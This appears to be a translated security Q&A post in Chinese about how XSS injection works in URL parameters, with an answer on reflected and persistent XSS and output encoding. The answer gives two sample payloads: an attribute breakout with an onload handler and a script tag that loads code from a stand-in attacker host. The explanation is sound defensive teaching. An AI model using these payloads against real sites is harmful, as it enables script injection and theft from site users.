如何突破 URL 上下文

信息安全 xss
2021-09-03 00:17:47

OWASP XSS 预防工作表建议“在将不受信任的数据插入 HTML URL 参数值之前进行 URL 转义”。

我不明白有人如何突破 URL 上下文或注入新的子上下文以在 URL 中执行 XSS 攻击。当浏览器解释 URL 时,是否可以使用某些字符来终止对 URL 的处理并强制浏览器开始处理新注入的 URL?

http://somesite.com/about<terminating character>javascript:;alert("hello")

有人可以提供有关如何在 URL 中执行 XSS 注入的示例吗?

2个回答

问题是如果您接受用户输入作为您输出的 url 的一部分,如 OWASP 给出的示例所示:

<a href="http://www.somesite.com?test=[user input]">link</a >  

攻击者不必突破 URL 上下文,而是突破字符串,例如通过注入:

foo" onload="evilJS();" foo="bar

或打破a标签:

"><script src="evil.attacker/script.js"></script>

这是一种经典的攻击方式,称为“反射型 XSS”,也可用于“持久型 XSS”。如果您不对发送到 Web 应用程序的参数进行编码,它们可能会“反射”回 html 正文并作为 javascript 执行。作为一项规则,绝对编码所有内容。所有可用于产生 XSS 的标签都必须在显示在应用程序中之前进行编码(例如本例中的 <>。)更糟糕的是(在持久情况下),当 XSS 保存到您的应用程序中并且通过数据库调用。

许多 Web 框架默认情况下不这样做。